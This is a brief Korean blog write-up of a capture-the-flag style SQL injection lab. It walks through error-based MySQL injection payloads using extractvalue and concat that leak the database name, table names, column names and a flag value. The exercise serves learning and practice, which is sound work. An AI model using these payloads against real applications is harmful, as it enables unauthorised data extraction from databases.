Information Technology/write-up
SQL Injection 5 blind SQLi
Brandon IT
2025. 5. 28. 15:40
320x100
SQL Injection 포인트 찾기
공격 format 만들기
normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1'='1
DB 이름 출력해보기 : sqli_2_2
- table 이름 알아내기 flagTable_this → member
select table_name from information_schema.tables where table_schema=’sqli_2_2’
normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1))) and '1'='1
- 컬럼이름 추출하기 idx → flag
normaltic' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable_this' limit 0,1))) and '1'='1
- 데이터 추출하기
normaltic' and extractvalue('1',concat(0x3a,(select flag from flagTable_this limit 0,1))) and '1'='1
300x250